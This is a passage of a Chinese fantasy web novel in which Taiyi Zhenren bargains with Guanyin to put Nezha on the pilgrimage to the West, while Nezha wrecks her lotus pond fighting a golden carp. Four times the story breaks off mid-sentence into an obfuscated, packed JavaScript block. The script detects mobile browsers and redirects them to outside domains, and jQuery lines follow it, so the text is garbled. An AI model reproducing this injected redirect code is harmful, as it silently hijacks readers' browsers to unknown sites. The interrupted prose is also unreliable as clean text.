两人有一搭没一搭地闲聊间,南海珞珈山已浮现在视野里。哪吒抬眼望去,满山紫竹随风而动,竹影在殿檐琉璃瓦上摇晃。刚刚疾驰的云却忽然慢了下来,哪吒有些着急:“这不都到门口了?怎么磨磨蹭蹭的不过去?”
太乙真人捻着胡子笑:“咱们不请自来,总得留些时间,容菩萨换身见客的衣裳。”
云团刚落地,早有提琉璃灯的龙女候着。她上前合十行礼:“菩萨备了雪顶含翠,请真人移步品茶。”
太乙真人看了眼哪吒,觉得后面的事情不便让他旁听,于是拍拍哪吒肩膀:“你且随这龙女姐姐,在这前林逛逛。”
“劳烦带这小子认认门。”他又转头对龙女嘱咐道,若是这小哪吒日后西行取经,路上少不得要来这叨扰。
“好说好说。”龙女抿嘴一笑,“真人何时又添了位高徒?”
龙女的眼角余光扫过哪吒周身,她方才不曾注意,这会才发现这孩子身上火尖枪、乾坤圈、混天绫一应俱全,惊得她眼皮直跳,这阐教至宝如今都能批发了不成?
“就当是吧。”太乙真人既没有承认也没有否认,慢慢悠悠就往竹林里走,“看紧点,别让他拆了紫竹亭。”
“别来无恙。”观音菩萨早已端坐莲台等候,她看着迈着方步进来的老道,宝相庄严中带着三分疏离,颔首道,“真人久居乾元山清修,今日怎有雅兴来南海一趟?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090562|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你也知道,贫道向来无事不登三宝殿。”太乙真人一点不跟她客气,甩着拂尘往蒲团上一坐,忽然眯起眼睛,“倒是菩萨这称呼,似乎有些生分了,想当年一同在昆仑山论道的时候……”
观音菩萨捻着念珠的指尖微微发紧,当年阐教十二金仙虽证得长生道果,却都被天道阻在成圣门槛之外。封神劫起时,慈航、普贤等几位阐教金仙在万仙阵里被削了顶上三花,闭了胸中五气,千年道行险些散作烟云——幸得准提道人出手重塑法相金身,否则怕是要落得身死道消。
如此恩情,他们只能投身佛门相报。若非元始天尊睁只眼闭只眼,这几人早该被钉在阐教叛徒柱上。
其中慈航真人褪去道袍,换上袈裟,化作如今南海珞珈山的大慈大悲观世音菩萨。但若论起玉虚宫昔日的排位——太乙真人位列第五金仙,慈航不过第九席。纵使如今端坐南海莲台,这声“师兄”仍是礼数所在。
观音菩萨心中清楚,她自从入了佛门,便断了阐教因果。如今这声“师兄”若出口,只怕又要沾上阐教的麻烦事。但她又忽然想起封神旧事,十二金仙中染血最重,当年第一个犯杀劫、首斩截教大修的,可不正是眼前这笑呵呵甩拂尘的老道?
“道兄。”这般人物,自然轻易招惹不得,观音菩萨终是改了口,选了个折中的称呼,心知这老道重提同门情分必有所图。果不其然,当太乙真人说出来意后,待听得要将他新收的徒弟塞进取经队伍,她的眉头紧皱起来。
“西行名额已满,取经人选早定下了。”观音菩萨轻点柳枝,语气含糊其辞,也没有表露态度。
她心中有些困惑,自封神大劫后,阐教金仙向来极少过问俗务,这西天取经不过是灵山与天庭利益交换的把戏,本不该入他们法眼。如今竟能惊动太乙真人亲至,观音自然不敢小觑。
“哦?这人选竟换不得?”太乙真人屈指敲了敲紫檀案,每一下都仿佛敲在观音菩萨的心口,“若贫道没记错的话,这西行不过刚刚开始。”
“金蝉子是佛祖亲传,孙悟空乃灵山钦定。”观音菩萨捻着念珠缓缓道,“天蓬与卷帘都是天庭指派的戴罪之身……”
她话里话外挑得明明白白——金蝉子与孙悟空是灵山嫡系,天蓬卷帘是天庭天将,两边势力刚好对半开。这要换人就跟拆东墙补西墙似的,动谁都是打灵山或天庭的脸。
更何况取经名单早盖了玉帝金印,落了佛祖法旨。真要改动,少不得要捧着文书往返三十三重天,光是跟那群天官罗汉扯皮都能好半天,这太乙真人一句话就要她换人,若没有足够的理由,她可没这闲工夫。
但观音菩萨盯着泛起涟漪的水面,忽然想起封神时这老道为护徒弟,愣把石矶洞府烧成一片白茫茫的狠劲,又不敢把话说死。
“这样啊。”太乙真人没再坚持,让观音菩萨松了口气,他端起茶盏突然换了个话题,“我听说啊,这次师尊出关后又要开坛讲道。”
8. 第 8 章
这话题转得跟抽风似的,观音菩萨的心思却被他话里信息勾住了:“天尊要讲道?距上次开坛,怕是有千年了……”
她说着忽然有点恍惚,仿佛又看见玉虚宫前落雪簌簌的青松。
要论三界最金贵的机缘,元始天尊讲道能甩蟠桃宴八条街。吃个蟠桃顶多延寿百千载,可要是听道时灵光乍现——指不定当场就冲破瓶颈破境了!观音菩萨卡在如今境界少说也有千八百年,此刻指尖竟微微发颤。
观音菩萨垂眉苦笑,自打入了佛门,她便与阐教断了联系,别说听道,千年来就连昆仑山的山门都不曾踏足。上次讲道时她正在南海诵经,抬头望着昆仑方向霞光万丈,心里却只剩下一片彷徨。
“此番贫道准备劝师尊开个特例。”太乙真人轻轻吹散茶雾,“请几位佛门尊者来当嘉宾,菩萨觉得这主意如何?”
他口中的佛门尊者会有谁,观音菩萨压根不用猜——只要她点头,那名额准保落在自己头上。倒不是信不过这老道,只是这太乙真人虽然浑起来能把天捅个窟窿,但说起话来倒是钉是钉铆是铆,从没打过诳语。
观音指尖抚过茶盏边沿,看着嫩芽在碧波间浮沉。这听道的机缘固然难得,可真正让她心动的,还是能与阐教重新搭上线,这也是给自个儿留了条后路。来日若遇劫数,纵使佛门护不住她,总还能往昆仑山递个帖子。
“道兄胸襟果真海量!”她忽然笑着举茶,“这是龙女前儿刚采的云雾茶,道兄尝尝可还顺口?”
瞅着观音菩萨神色,太乙真人心里就门儿清——这事儿算是成了七八分。堂堂阐教金仙要是连个取经名额都搞不定,这不是让人看了笑话,他这“乾元山金光洞”的牌子干脆挂南海喂鱼算了。
他端起茶盏正要喝,忽见龙女提着裙摆慌慌张张冲进来。
“慌什么?”观音菩萨蹙眉轻斥,这龙女进门竟然连声招呼都不打。
“真人带来的小祖宗……”龙女指着外边直跺脚,急得舌头都打结,“正准备把荷花池里的金鲤烤了!”
“哐当!”观音菩萨一时没拿稳,手中茶盏磕在紫檀案上。
“哦?”太乙真人不紧不慢抿了口茶,仿佛早已猜到这事儿似的,“不是让你看紧这孩子么?”
这孩子走到哪儿不闹点动静,他都觉得意外,那安安分分的,还叫哪门子哪吒?
“我、我去取琉璃盏的工夫……”龙女咬着嘴唇,她哪敢说是因为哪吒嫌弃雪莲酥太淡,自己不服气去翻库房找零嘴?
龙女一肚子委屈憋得慌——太乙真人带来的小哪吒,她按着接待菩萨的规格给这小祖宗备茶备果,结果人家连正眼都没瞧过。
三刻钟前——
“你们南海的点心是喂兔子的?这味儿都淡出鸟来了!”哪吒捏着半块雪莲酥直撇嘴,又咬了口金丝枣糕,“嚯,石头蛋子都比这软和!”
龙女慌张地攥紧衣角,案几上摆着的雪莲酥和金丝枣糕,样样都是按菩萨规格备的,哪曾想这红衣小爷压根不买账。
“莫不是……不合口味?”她声音发虚。
“不信你尝尝!”哪吒随手抛了块雪莲酥过去。
龙女小心翼翼尝了口,更茫然了:“清新爽口,有何不妥?”
“哈?”哪吒看她的眼神像瞧傻子,“这也叫好吃?”
他哪晓得佛门素来讲究清心克欲,这些点心多是摆着应景。以往仙佛来此都是为了与观音菩萨论道,千百年来头回遇上个认真挑嘴的。
“这雪莲酥可是用灵泉调的馅,雪莲更是采自……”龙女见他皱眉,生怕哪吒觉得被怠慢了,连忙解释道。
“停停停!”哪吒把咬剩的半块酥饼丢回碟子,“你们南海待客就吃这些没滋没味的玩意儿?”
龙女慌忙接住滚落的点心,耳朵根儿都红了:“那、那你想吃什么?”
自打随菩萨修行,她还从未见过这般挑剔的客人。
“喏,尝尝这个!”哪吒从怀里掏出个纸包,抖出颗红艳艳的糖山楂。
龙女自化形起便在南海度过,百年间连紫竹林都没踏出过半步,是名副其实的宅女。见着那糖山楂从纸包里落出来,素来喜欢洁净的她微微皱起眉头,可对上哪吒亮晶晶的眸子,却还是接了过来。
红艳艳的果子滚到掌心,裹着的糖霜也蹭到了她的指尖儿上。酸甜气息窜入鼻尖时,龙女喉头不自觉地动了动。
“快吃啊!”哪吒坐在案桌上自由自在晃腿,像只等待夸奖的炸毛猫儿,“小爷还能害你不成?”
虽说这龙女呆头呆脑的,倒比玉虚宫那些鼻孔朝天的仙童顺眼些。不过话说回来,敖丙似乎也这温温吞吞的脾气,是不是龙族都这性子?
“咔——”
她闭眼咬下去,酸汁混着蜜糖在舌尖炸开,惊得龙女头上的龙角泛起莹光。等回过神来,指尖只剩根光溜溜的竹签子,上面的糖霜都被她舔得干干净净。
“没诓你吧?”哪吒跷着腿直乐,“比你们这些蔫了吧唧的果子强百倍!”
“这难道是……玉虚宫的仙果蜜饯?”龙女舔着嘴角糖渣猜测道,瞳孔里还漾着甜浪。
“什么仙果蜜饯?就山脚集市买的!两文钱一串!”哪吒笑得在案桌上拍桌子,“你连糖山楂都没见过啊?”
哪吒见过土包子,可土成这样的,还是头回见。
龙女捏着竹签发怔:“凡间……竟有这般滋味?”
“你该不会从没溜出过这南海玩过吧?”哪吒凑近她问道。
龙女缩了缩脖子,攥着衣角点头,哪吒的眼神顿时充满怜悯,这破岛是美得跟画儿似的,可成天对着蓝天白云,连个斗嘴的人儿都找不着,哪比得上他在陈塘关撒欢,“等小爷今后有空,带你去陈塘关吃烤羊肉!”
哪吒话音突然卡在喉咙里——这陈塘关都没了!哪还有什么烤羊肉?
“不、不必麻烦了……”龙女额角沁出细汗,捏着袖口后退半步。她从未去过凡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090563|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,此时心里跟揣了只兔子似的——既怕被哪吒勾得真动了凡心,又记着观音日日教导的“禅心不动”。
若按龙族寿数来算,纵使化形后端着紫竹林侍女的架子,她也不过是个初出茅庐的小丫头,会对着人间烟火感到好奇,也是再正常不过。
“对了!前日有位仙女送了新点心!”被哪吒亮晶晶的眼神盯得发慌,龙女突然拔高声音,借口取新茶点匆匆离去。其实哪有什么新花样,不过是库房里收着百花仙子送的蜜饯。
龙女提着裙摆消失在小径尽头,半盏茶工夫过去也不见踪迹。哪吒叼着根狗尾巴草在紫竹林里瞎晃荡,南海景致倒是仙气缭绕,但与肃穆雪白的玉虚宫相比,这儿连只聒噪的仙鹤都没有——横竖都是没人味!
“啧,还是陈塘关舒服。”
金窝银窝不如自己家的狗窝,哪吒踢飞脚边一颗石子,想着已经成了一片废墟的老家,心里那把邪火越烧越旺。什么仙家福地嘛,再好的洞府也比不上自家舒坦!
哪吒在紫竹林里兜了两圈半,还是没见到半个人影,刚刚灌下去的茶水在肚子里晃荡得厉害,这会儿全涌了上来,憋得他额头直冒汗珠子。
“要死要死……”
上回在玉虚宫把茶壶当夜壶的糗事还历历在目,哪吒想着这回总不能再丢人了,可他夹着腿转得跟陀螺似的,愣是连个茅房影儿都没见着。紫竹林里净是些雕花画叶的亭台楼阁,偏生连个夜壶状的物件都没有!
“管他呢!”
哪吒憋得小脸通红,见龙女还没回来,尿意也愈发急切,他也没工夫再寻别处,干脆窜到荷花池边解开裤带。他姑且还知道羞耻,混天绫展开成屏风替他遮掩着,横竖这池子不可能是饮水用的,偷偷解决一下想必无妨。
热流浇在荷叶上滋滋作响,哪吒总算是长舒了一口气,但他哪里晓得,这莲花池可不光是摆着好看,池底还住着观音座下听经百年的金鲤呢!
这尾金鳞红尾的灵物本就聪慧,常常听观音菩萨讲经,久而久之竟产生灵性,开了灵智。这日金鲤正在吞吐水泡默诵经文,忽然就有热流当头淋下,它一开始还以为是菩萨净瓶洒下的甘露,结果闻到那股尿骚味,鱼尾巴都气直了——哪个缺德的敢在菩萨地盘撒野?
它顶着满头“甘霖”浮出水面,就见到个红衣小鬼正对着池子放水,还晃着小辫儿哼着小曲儿,混天绫在风里一荡一荡,活脱脱把观音道场当成了自家茅房。
金鲤尾巴拍得水花四溅,佛经都压不住的火气直往脑门上窜。自打住进紫竹林,这些年来往南海的各路神仙,哪个来参拜不是客客气气?东海龙王夸它“气度不凡”,天宫仙官夸它“尾带祥云”,连过路的罗汉都要摸着光头感叹:“菩萨养的灵物就是不一样!”
谁成想今天遇上这么个混世小魔王!竟然敢在它听经的莲花池放肆!
金鲤气得鱼须乱颤,若不是被菩萨的禁制压着修为,早现出三丈金身给这不长眼的小鬼掌掌眼了!
9. 第 9 章
不教训教训这毛头小子,这小鬼还真当这南海珞珈山是菜市场了!
金鲤猛然腾空跃起,“嗖”地一声窜出水面,鱼尾甩出残影,竟是要抽哪吒个大耳刮子。哪吒提溜着裤子蹦开三尺远,虽然偏头躲过了甩尾抽击,却仍被迸溅的池水糊了满脸。肥鱼身子砸到池塘对面,哗啦一声炸起漫天的水花。
“什么玩意儿!小爷放水呢!”哪吒气得跳脚,方才尿得酣畅被硬生生打断了不说,怀里包着的糖山楂还失手掉在地上,咕噜咕噜滚得到处都是。
那金鲤眼珠滴溜转,尾巴一卷就把糖球捞了过来,竟把裹着糖霜的山楂球当零嘴囫囵咽下。它咂吧着嘴嚼得嘎嘣脆,末了还冲哪吒挑衅般吐了串泡泡,眼见小鬼急得在岸上蹦跶,得意地摆着尾巴就要往深水区游。
“好你个偷糖贼!小爷都舍不得吃,你一口气全吃了!”哪吒眼见宝贝糖球进了鱼肚子,气得枪杆直抖,他方才给龙女都只舍得给了一颗。火尖枪“轰”地窜起三尺火苗,映照得他小脸通红,“小爷正好没吃饱,把你烤了当夜宵!
那金鲤也不甘示弱,见哪吒拿起火尖枪,竟引动满池碧波凝作万千冰晶,它尾巴猛拍水面,数十枚月牙形冰刃嗖嗖破空,把荷叶戳得跟筛子似的,逼得哪吒凌空翻了个跟斗后退。
哪吒抡圆火枪来了个横扫千军,冰火相撞炸开团团白雾,震得满塘莲梗东倒西歪,粉白花瓣混着冰火碴子跟不要钱似的乱飘,倒似给紫竹林下了场琉璃雪。
“嚯,有两下子啊!”哪吒火尖枪往地面□□,滑行一段距离后稳住身形,他抹了把脸上的水珠,终于认真起来,“菩萨家的鱼食没白喂啊!”
哪吒起先还没把这金鲤当回事,只当是条普通锦鲤,这会儿却眯起眼睛打量那金鳞——到底是观音座下的灵物,身手果然了得,放在东海龙宫都能当上将军了。他自然不晓得,这金鲤早被菩萨下了禁制,要不然发起狠来,别说这莲花池,就连八百里通天河都能冻成冰疙瘩。
混天绫“唰”地缠住池边紫竹,哪吒借力荡秋千似的绕到金鲤背后。谁知这鱼精狡猾得很,尾巴早凝出冰锥等着,照着哪吒身影当头砸下。哪吒连忙把火尖枪舞得密不透风,冰锥撞上烈焰化作细雨,浇得边上竹叶噼啪冒白烟。
要说这哪吒浑身法宝,最压箱底的还得数那乾坤圈。这金圈子本是元始天尊赐予太乙真人的宝物,后来传给哪吒成了本命法宝。别看这金环玲珑可爱,真要论起刚猛,那跟太上老君的金刚琢是同一个水平线上的,此前在七绝山一下子就砸得那妖蟒颅骨迸裂,如今若真往金鲤脑门招呼,怕是菩萨的杨柳枝都救不回来。
幸好哪吒心里还揣着三分清醒,记着此行是来南海找观音菩萨办事的,是来拜码头而非砸场子。因此这会儿他的混天绫缠着金鲤尾巴转圈,火尖枪戳得冰碴子乱飞,身上的乾坤圈愣是没摘下来。
红绸翻飞间,冰火交击的声音连绵不绝,金鲤喷吐的冰刺撞上三昧真火,霎时蒸腾起遮天白雾。那肥鱼一时迷了眼,见寻不到哪吒踪迹,心下觉得大事不妙,正甩尾要钻进水底,混天绫突然绷直成锁链,“咔”地缠住它尾鳍金鳞。
“给小爷起来!”
哪吒赤足踏得浪花四溅,拽着红绸呼啦啦转圈,混天绫拖着鱼尾像个金灿灿的流星锤,抡得金鲤在天上转了三圈半,直转得这胖头鱼头晕眼花。
这金鲤修为本不差,但毕竟被菩萨下了禁制,又对上这个能揍得东海老龙王还不了手的混世小魔头,不过几个回合就被红绸子捆成了粽子。
龙女提着食盒过来时,正见到哪吒拽着红绸当缰绳,骑着金鲤当马耍。肥鱼在他的□□拼命扭动,撞塌了岸上的汉白玉栏,搅得满池莲花杆子都趴了窝。等金鲤最终精疲力竭累瘫在浅水滩,哪吒蹦下来戳它鼓起的腮帮子:“服不服?不服就把你串竹签上烤了!”
“完啦!这下全完啦!”
金鲤被哪吒死死压住鱼背,鱼尾拍得水花四溅,眼见着哪吒手里噼啪作响的火尖枪,它仿佛闻到了烤鱼的孜然味,看到了鱼生的走马灯。
“完了!这下全完了!”
龙女盯着满地插着冰刃的焦黑莲蓬,见到菩萨最喜欢的那尾金鲤吐着泡泡肚皮朝天,手中的食盒“哐当”砸在脚背上,仿佛见到了自己被逐出南海珞珈山,灰头土脸被退回龙宫的画面。
待观音菩萨踏着莲台降临时,这方佛门净土活像遭了十万妖兵洗劫——半边莲叶被烧得焦黑蜷曲,半边莲梗被冰刃削得光秃秃,水面上漂着粉白花瓣、碎冰碴和烂掉的琉璃瓦片,活像被打翻了的八宝粥。
“哎哟喂!”太乙真人甩着拂尘从云头上跳下来,瞅着岸边秃了半边的紫竹林,那荷花池更是没眼看。他拎起正蹲在岸边拧裤脚的哪吒,拂尘柄虚虚往小孩脑门上一敲,“你这是造的什么孽?当这是你家澡盆子呢?”
他朝着哪吒使了个眼色,哪吒立马心领神会,立刻捂着脑袋蹦跶,乾坤圈故意撞得叮当乱响,“啊呀!好疼啊!”
龙女站在莲台旁边看得眼皮直跳——太乙真人甩着拂尘吹胡子瞪眼,哪吒捂着脑袋干嚎,看着像是在教训门下弟子。可那拂尘比柳絮还轻,打在身上轻飘飘的一点劲儿都没有,搁这儿演猴戏呢?
就这师徒俩的演技,就连三岁小孩都骗不过!都说阐教一门最是护短,果然这句话没说错!
但哪吒也没忘了给自己辩解,他梗着脖子嚷嚷:“是这蠢鱼先抢我糖山楂的!”
那金鲤躺在池底翻了个白眼,也是它这会儿说不出来话,不然它倒想问问这小鬼,怎么不说你先往这池子里尿尿呢!
“抢颗糖就把这池子掀个底朝天?”太乙真人掐指一算,还真算到几颗糖山楂的因果,“不知道的还以为炼丹炉炸了呢!你瞧你弄成这样,为师这身行头当了都赔不起。”
“罢了……道兄不必苛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090564|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
责,童儿玩闹罢了。”观音菩萨扫了眼池子,虽然看着惨烈,但金鲤尾巴焦了几片鳞,倒也没伤着要害,心中安定了不少。
她瞧着这满池狼藉,揉着突突跳的太阳穴,又想起方才和太乙真人谈妥的事情——让这哪吒护送取经人西行,忽然觉得有些后悔。要是放这么个小魔头西行取经,这一路上得惹出多少祸来?
要是一开始没答应还好说,但她刚和太乙真人说好,这会儿又变卦,怕是要得罪阐教。观音菩萨索性两眼一闭,罢了罢了,就让金蝉子自求多福吧,横竖取经要凑够八十一难,少一难都修不成正果。
观音菩萨指尖轻拨杨柳枝,那枝条沾着净瓶里的露珠往外这么一划拉,焦黑的莲叶立马支棱起来,碎成八瓣的白玉栏杆自个儿蹦回原位,秃了的竹林子跟按了快进键似的,眼瞅着竹节“咔咔”往上蹿,就连金鱼焦秃的尾巴都长齐了鳞片。
只是少了些物件实在补不齐,即便是观音菩萨的神通也没办法。这紫竹林道场如今瞧着,就跟摔碎又粘好的瓷碗似的,模样倒是全乎,就是透着股寒碜劲儿,先将就着用吧。
太乙真人甩着拂尘打哈哈:“菩萨这神通越发厉害了,单是这一手妙手回春,就够别人学八百年了。”
这倒不是太乙真人随口瞎说——换作旁人来收拾这烂摊子,指不定得废多少工夫,哪像观音菩萨这般随手甩两下杨柳枝,跟拂尘扫灰般轻巧。
被他这样一夸,观音菩萨的心情好了一些,她捏着杨柳枝回礼:“道兄说笑了。”
太乙真人见观音菩萨不再追究此事,又连忙问道:“我听说,这取经人都走出长安地界,往西去了,不知我这徒儿何时能上路?”
“啥?真让小爷去啊?”
哪吒挠着后脑勺犯嘀咕,他原本都没报太大期望,谁知道这事儿这么简单就成了!他斜眼瞟了瞟白须飘飘的太乙真人,再对比自家那整天抱着酒葫芦打呼噜的师父,突然觉得玉虚宫的老道顺眼得能发光。
缩在池底装死的金鲤刚往淤泥里钻了半截,听到这几句话浑身鳞片“唰”地炸开,虽然菩萨的甘露治好了它身上的外伤,可在心灵上的创伤却是无法弥补的。这会儿听见哪吒竟要西行取经,它忽然想起前些天龙女给它漏过口风,说观音菩萨要派它去通天河坐镇,给取经人添道劫数。
那会儿金鲤也没把这事儿放心上,只当是下凡公费旅游,指不定还能在凡间混点香火供品,自然是乐意至极。如今听见这取经队伍里要多个混世小魔头,它瞅了眼尾巴上新长的鳞片,嫩粉色的肉痕刺得它眼疼,心里一把辛酸泪。
这要是下凡再撞见这小鬼,怕不是真被串上火尖枪,再放在风火轮上当烤鱼?这下凡旅游虽好,也得有命享受啊!
金鲤整条鱼抖得跟筛糠似的,此刻真想冲菩萨喊一嗓子:能不去吗!这要是没了观音菩萨搭救,不是铁定变成红烧鲤鱼了嘛!它还想留一条小命呢!
10. 第 10 章
要凑齐这八十一难,可让满天神佛愁秃了头,那简直比凑拼多多还难——寻常小妖连一回合都撑不过,哪配得上称为劫难?可真能撑场面的千年大妖,多半蹲在哪个犄角旮旯闭关修炼,而且又未必在这取经路上。以至于到最后,观音菩萨数遍南海家当,就连池子里听经的金鲤都得拉去凑数,就差没让龙女上山改行当土匪了。
观音菩萨此刻却顾不得金鲤乐不乐意,听见太乙真人的问题,她正摸着玉净瓶犯愁,瓶里柳枝跟着打转,思索着该如何与灵山和天庭禀报西行换人的事情。
虽说把太乙真人前来拜访的事情抬出来,借阐教的名号当挡箭牌,天庭与灵山总得给几分薄面。更何况这小家伙虽说是个混世小魔头,但好歹顶着阐教弟子的名头,灵山要问起来,也能说这是道佛联手,好事一桩,也还能说得过去。
可观音菩萨毕竟以前是从玉虚宫出来的,这番半途换人的举动,少不得要被灵山那帮同修嚼舌根,落个胳膊肘往外拐的口实。
不过当下更要紧的,还是要思考换谁更为合适。这添一个是万万不可能的,取经队伍里多塞半个都甭想——西天取经的四个坑早被各方势力盯成香饽饽,四海龙族跑遍关系,才让西海龙太子变作白马蹭了个边儿,只能从原本四人里面换掉一个才行。
观音菩萨掐着杨柳枝犯起了难:金蝉子是如来佛祖钦点的佛子,孙悟空是菩提祖师亲传的弟子,天蓬揣着玉帝御赐的帅印。算来算去,就剩卷帘大将这个流沙河看门的软柿子没靠山,而且那破地方连个路过的仙官都找不到,也没办法上天庭参她一本,换了最省事。
“本座需往灵山拜谒佛祖,再赴天庭呈报。”拿定主意后,观音菩萨执柳枝轻点,“待诸事备妥后,便可启程取经。”
“那这孩子……”太乙真人看向观音菩萨。
观音菩萨略一思忖,又说道,“令徒不妨就在南海小住两日,以待后续。”
“好说好说。”太乙真人抚须而笑,“以后就劳驾菩萨多费心了。”
明明天气凉爽,但龙女在旁边冷汗直冒,这小魔王片刻没盯着就拆了半座莲池,如今竟要长住?偏偏菩萨还要远行,这还不得闹上天?
池底“咕噜”冒起一串绝望的泡泡,金鲤猛地把脑袋扎进池底淤泥,就当什么都没听见。它打定主意,这几日若是从这池子里冒出头,它就改跟这小鬼姓!
观音菩萨忽然侧首,想起自己遗漏了一件事:“还未请教高徒名号?”
太乙真人笑而不语,没有擅自越俎代庖,而红衣小童蹭地蹦上莲池围栏,拍着胸脯昂头:“小爷名叫哪吒!”
“哪吒?”观音菩萨眉头轻蹙,她自然知晓天庭那位骁勇善战的三太子,眼前这活蹦乱跳的顽童却顶着同样名号。她的余光瞥见太乙真人捋须含笑的模样,终究是将疑惑压回心底——或许是阐教新立的字辈,又或是这老道收徒就偏爱此名。
观音菩萨瞧着那对滴溜直转的乌黑眼珠,也没有过多纠结,只是嘱咐道:“虽然你自小在道门修行,但既然要踏上佛门取经路,也该通些佛法精要。往后几日,你便随龙女晨钟暮鼓,诵经参禅吧。”
龙女冷不丁多了这么个差事,都快变成苦瓜脸了,但又不敢推卸,只好点头应道,只是声音有些发虚:“龙女定当尽心……”
“臭小子安分些,别天天惹是生非!”太乙真人临走前,揪着哪吒冲天辫念叨,但下一句便暴露了他的心软,“若是遇见什么摆不平的麻烦事,记得来金光洞寻我。”
“知道啦,啰嗦老道快回山炼丹去。”哪吒盯着水面涟漪直撇嘴,他能惹什么事情?分明是这四海八荒的破事都跟长了腿似的,专往小爷脑门上蹦!
往后几日,龙女算是明白了什么叫一天比一年还难熬——观音菩萨带着那金毛犼坐骑和碎嘴白鹦哥出门办事去了,看顾这小魔头的差事全落在了她头上。偏生这小祖宗今日掀了莲池,明日烧了紫竹,龙女天天赶着救火都来不及。
那金鲤早就把哪吒当成了活阎王,整日钻在淤泥里东躲西藏,那哪吒却以为这金鲤是在跟他玩捉迷藏,连日追着金鲤满池子跑。金鲤躲在太湖石底,他便掀了半座假山,金鲤钻进莲叶丛,他便扫平了整片莲花,池水搅得浑浊不堪不说,那刚栽好的七色莲又被掀得根茎朝天。
“小泥鳅别躲呀!小爷瞧见你尾巴了!”
龙女捧着净瓶立在山头,正见哪吒卷着裤腿在泥浆里扑腾,溅起的黑泥糊了岸边的汉白玉栏杆,而那尾仓皇逃窜的金鲤,眼见着身上刚长出来的鳞片又脱落了不少。
“小祖宗行行好!就饶了它吧!”龙女连忙赶过去,扒着莲池石栏直跺脚,池子里金鲤翻着肚皮浮上来,腮帮子一鼓一鼓活像漏风的破风箱,“再闹腾下去,它真要去见阎王了!”
“这肥鱼装死呢!”哪吒甩着混天绫当鱼竿使,又戳了戳金鲤肚皮,那肥鱼喘息够了,见有机可乘,突然甩尾溅起泥水,“哧溜”钻进莲叶底下,“你看!”
“你非要折腾它做什么?”龙女拎着湿漉漉的裙角,见着上面的泥印后皱起眉头。
“这破地方连个蛐蛐都没有!”哪吒盘腿坐在风火轮上晃悠,说着突然蹿到龙女跟前,“你平日里都玩啥?是怎么过的?”
“我吗?”龙女愣了愣,掰着手指回忆道:“每日晨起诵经,晌午扫紫竹林,日落前观海看云,睡前打坐修炼,这一天天便过去了。”
“停停停!”哪吒捂着耳朵连忙打断她,“这不跟坐牢似的?这日子给狗过都嫌闷!”
“无聊吗?”龙女怔了怔,唇角浮起一抹苦笑,“待了几百年,不习惯也习惯了。”
当年她被送来南海时,龙角还没长硬呢。龙宫里那叫一个热闹,她爹老龙王摆酒席摆了三天三夜,她娘见人就显摆菩萨赏的玉净瓶,四海龙族更是敲锣打鼓吹嘘自家出了个菩萨座前侍女。
可谁也没问过蜷在莲花座旁的小龙女,愿不愿意忍受这佛前百年孤寂。
“这日子多没意思!”哪吒摇了摇头,要让他天天诵经打坐,恐怕一天都待不下去。他的火尖枪顺手挑开荷叶堆,“瞧见没?这胖头鱼就爱和小爷玩捉迷藏!”
金鲤在藕节空隙里直翻白眼——鬼才爱和你玩!老子腮帮子都被混天绫勒出印子了!
“你就放过它吧!”龙女望着池底瑟瑟发抖的金鲤,却担心再这样下去,或许等不及观音菩萨归来,便要给这鲤鱼念往生咒,终是咬牙扯住哪吒腕间的混天绫,说出了那句令她后来悔青肠子的话,“你若是觉得无聊,我来陪你玩总行了?”
哪吒猛地转身,眼底倏地燃起两簇火苗:“当真陪我玩?”
“千真万确。”龙女望着少年骤然发亮的眼眸,全然不知她将为这个承诺吃多少苦头。
“那你陪我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090565|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
踢毽子行吗?我爹娘最爱跟我玩这个!”哪吒把火尖枪往旁边一甩,兴致勃勃地说道,只是声调忽又低下去,“虽说吧,他们不过半柱香,便累得扶墙喘气。”
